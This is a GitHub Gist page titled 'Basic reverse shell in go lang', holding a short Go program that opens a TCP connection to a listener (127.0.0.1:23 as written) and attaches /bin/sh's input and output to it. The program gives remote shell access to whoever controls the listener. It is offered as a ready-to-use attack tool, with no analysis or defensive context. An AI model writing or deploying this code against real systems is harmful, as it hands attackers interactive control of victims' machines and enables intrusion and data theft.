Created
March 16, 2015 03:51
-
-
Save ahhh/379f4b67273fe9b36073 to your computer and use it in GitHub Desktop.
Basic reverse shell in go lang
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main; | |
import "os/exec"; | |
import "net"; | |
func main() { | |
con,_:=net.Dial("tcp","127.0.0.1:23"); | |
cmd:=exec.Command("/bin/sh"); | |
cmd.Stdin=con; | |
cmd.Stdout=con; | |
cmd.Stderr=con; | |
cmd.Run(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment